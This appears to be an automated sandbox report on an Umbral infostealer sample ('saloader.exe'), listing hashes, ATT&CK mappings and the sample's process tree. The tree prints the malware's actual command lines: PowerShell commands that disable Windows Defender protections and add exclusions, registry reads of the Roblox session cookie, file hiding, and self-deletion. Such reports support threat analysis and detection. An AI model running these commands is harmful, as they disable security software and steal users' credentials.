umbral | e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed

Analysis

max time kernel
93s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
30-11-2024 01:17

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General

Target

saloader.exe
Size

229KB
MD5

1e10af7811808fc24065f18535cf1220
SHA1

65995bcb862aa66988e1bb0dbff75dcac9b400c7
SHA256

e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed
SHA512

f1c623918a3701254805e7648d671b316446a0f98637d3de62d44331cf91502afb57ccb762472491bc4ac037fbf5f7b624eb9d39092b3be0b2ed84da6f3acadc
SSDEEP

6144:lloZMQfsXtioRkts/cnnK6cMldKRn/1+mpnsl3ySXCkb8e1muhi:noZItlRk83MldKRn/1+mpnsl3ySXze

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/1732-1-0x000001EEDD0C0000-0x000001EEDD100000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3752	powershell.exe
1008	powershell.exe
1384	powershell.exe
4616	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	saloader.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
964	cmd.exe
3328	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2040	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3328	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3752	powershell.exe
3752	powershell.exe
1008	powershell.exe
1008	powershell.exe
1384	powershell.exe
1384	powershell.exe
4752	powershell.exe
4752	powershell.exe
4616	powershell.exe
4616	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1732	saloader.exe
Token: SeDebugPrivilege	3752	powershell.exe
Token: SeDebugPrivilege	1008	powershell.exe
Token: SeDebugPrivilege	1384	powershell.exe
Token: SeDebugPrivilege	4752	powershell.exe
Token: SeIncreaseQuotaPrivilege	2136	wmic.exe
Token: SeSecurityPrivilege	2136	wmic.exe
Token: SeTakeOwnershipPrivilege	2136	wmic.exe
Token: SeLoadDriverPrivilege	2136	wmic.exe
Token: SeSystemProfilePrivilege	2136	wmic.exe
Token: SeSystemtimePrivilege	2136	wmic.exe
Token: SeProfSingleProcessPrivilege	2136	wmic.exe
Token: SeIncBasePriorityPrivilege	2136	wmic.exe
Token: SeCreatePagefilePrivilege	2136	wmic.exe
Token: SeBackupPrivilege	2136	wmic.exe
Token: SeRestorePrivilege	2136	wmic.exe
Token: SeShutdownPrivilege	2136	wmic.exe
Token: SeDebugPrivilege	2136	wmic.exe
Token: SeSystemEnvironmentPrivilege	2136	wmic.exe
Token: SeRemoteShutdownPrivilege	2136	wmic.exe
Token: SeUndockPrivilege	2136	wmic.exe
Token: SeManageVolumePrivilege	2136	wmic.exe
Token: 33	2136	wmic.exe
Token: 34	2136	wmic.exe
Token: 35	2136	wmic.exe
Token: 36	2136	wmic.exe
Token: SeIncreaseQuotaPrivilege	2136	wmic.exe
Token: SeSecurityPrivilege	2136	wmic.exe
Token: SeTakeOwnershipPrivilege	2136	wmic.exe
Token: SeLoadDriverPrivilege	2136	wmic.exe
Token: SeSystemProfilePrivilege	2136	wmic.exe
Token: SeSystemtimePrivilege	2136	wmic.exe
Token: SeProfSingleProcessPrivilege	2136	wmic.exe
Token: SeIncBasePriorityPrivilege	2136	wmic.exe
Token: SeCreatePagefilePrivilege	2136	wmic.exe
Token: SeBackupPrivilege	2136	wmic.exe
Token: SeRestorePrivilege	2136	wmic.exe
Token: SeShutdownPrivilege	2136	wmic.exe
Token: SeDebugPrivilege	2136	wmic.exe
Token: SeSystemEnvironmentPrivilege	2136	wmic.exe
Token: SeRemoteShutdownPrivilege	2136	wmic.exe
Token: SeUndockPrivilege	2136	wmic.exe
Token: SeManageVolumePrivilege	2136	wmic.exe
Token: 33	2136	wmic.exe
Token: 34	2136	wmic.exe
Token: 35	2136	wmic.exe
Token: 36	2136	wmic.exe
Token: SeIncreaseQuotaPrivilege	1020	wmic.exe
Token: SeSecurityPrivilege	1020	wmic.exe
Token: SeTakeOwnershipPrivilege	1020	wmic.exe
Token: SeLoadDriverPrivilege	1020	wmic.exe
Token: SeSystemProfilePrivilege	1020	wmic.exe
Token: SeSystemtimePrivilege	1020	wmic.exe
Token: SeProfSingleProcessPrivilege	1020	wmic.exe
Token: SeIncBasePriorityPrivilege	1020	wmic.exe
Token: SeCreatePagefilePrivilege	1020	wmic.exe
Token: SeBackupPrivilege	1020	wmic.exe
Token: SeRestorePrivilege	1020	wmic.exe
Token: SeShutdownPrivilege	1020	wmic.exe
Token: SeDebugPrivilege	1020	wmic.exe
Token: SeSystemEnvironmentPrivilege	1020	wmic.exe
Token: SeRemoteShutdownPrivilege	1020	wmic.exe
Token: SeUndockPrivilege	1020	wmic.exe
Token: SeManageVolumePrivilege	1020	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1732 wrote to memory of 1624	1732	saloader.exe	83
PID 1732 wrote to memory of 1624	1732	saloader.exe	83
PID 1732 wrote to memory of 3752	1732	saloader.exe	85
PID 1732 wrote to memory of 3752	1732	saloader.exe	85
PID 1732 wrote to memory of 1008	1732	saloader.exe	87
PID 1732 wrote to memory of 1008	1732	saloader.exe	87
PID 1732 wrote to memory of 1384	1732	saloader.exe	89
PID 1732 wrote to memory of 1384	1732	saloader.exe	89
PID 1732 wrote to memory of 4752	1732	saloader.exe	91
PID 1732 wrote to memory of 4752	1732	saloader.exe	91
PID 1732 wrote to memory of 2136	1732	saloader.exe	93
PID 1732 wrote to memory of 2136	1732	saloader.exe	93
PID 1732 wrote to memory of 1020	1732	saloader.exe	96
PID 1732 wrote to memory of 1020	1732	saloader.exe	96
PID 1732 wrote to memory of 844	1732	saloader.exe	98
PID 1732 wrote to memory of 844	1732	saloader.exe	98
PID 1732 wrote to memory of 4616	1732	saloader.exe	100
PID 1732 wrote to memory of 4616	1732	saloader.exe	100
PID 1732 wrote to memory of 2040	1732	saloader.exe	102
PID 1732 wrote to memory of 2040	1732	saloader.exe	102
PID 1732 wrote to memory of 964	1732	saloader.exe	104
PID 1732 wrote to memory of 964	1732	saloader.exe	104
PID 964 wrote to memory of 3328	964	cmd.exe	106
PID 964 wrote to memory of 3328	964	cmd.exe	106

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1624	attrib.exe

C:\Users\Admin\AppData\Local\Temp\saloader.exe
"C:\Users\Admin\AppData\Local\Temp\saloader.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1732
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\saloader.exe"
  2⤵
  - Views/modifies file attributes
  PID:1624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\saloader.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4752
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2136
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1020
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4616
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2040
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\saloader.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:964
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3328

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
5824a6037c081fda5d46de274b6e2799

SHA1
526367a09300cbde430e8fb44e41cbe7a0937aac

SHA256
4d610d9cd32a20279c7133a726ff61820d6930e5aa18253ee1422f3a6f54953f

SHA512
a109b150f730cda78d5bee106bd232f9dca7500dfb7899c6919de2bd542e345ca271aa11809a24ea0a27dca158067ab3a2d5688ac0a2325185143245f1665582

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6317adf4fbc43ea2fd68861fafd57155

SHA1
6b87c718893c83c6eed2767e8d9cbc6443e31913

SHA256
c1ead17eef37b4b461cedc276504a441489e819c7f943037f2001966aeec90af

SHA512
17229aae8622e4bfc3caaac55684f7d4ccd3162af5919c851b1d8ac4060b6bb7b75044ecee116523d05acb55197dcb60780958f629450edef386f1e6f65f49f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_arffearx.lmu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1732-72-0x000001EEDEE90000-0x000001EEDEE9A000-memory.dmp

Filesize
40KB

Download
memory/1732-35-0x000001EEDD590000-0x000001EEDD5AE000-memory.dmp

Filesize
120KB

Download
memory/1732-93-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

Filesize
10.8MB

Download
memory/1732-73-0x000001EEF77E0000-0x000001EEF77F2000-memory.dmp

Filesize
72KB

Download
memory/1732-2-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

Filesize
10.8MB

Download
memory/1732-33-0x000001EEF7860000-0x000001EEF78D6000-memory.dmp

Filesize
472KB

Download
memory/1732-34-0x000001EEF78E0000-0x000001EEF7930000-memory.dmp

Filesize
320KB

Download
memory/1732-0-0x00007FFEFB173000-0x00007FFEFB175000-memory.dmp

Filesize
8KB

Download
memory/1732-1-0x000001EEDD0C0000-0x000001EEDD100000-memory.dmp

Filesize
256KB

Download
memory/3752-15-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

Filesize
10.8MB

Download
memory/3752-14-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

Filesize
10.8MB

Download
memory/3752-8-0x0000022DE4A30000-0x0000022DE4A52000-memory.dmp

Filesize
136KB

Download
memory/3752-13-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

Filesize
10.8MB

Download
memory/3752-18-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

Filesize
10.8MB

Download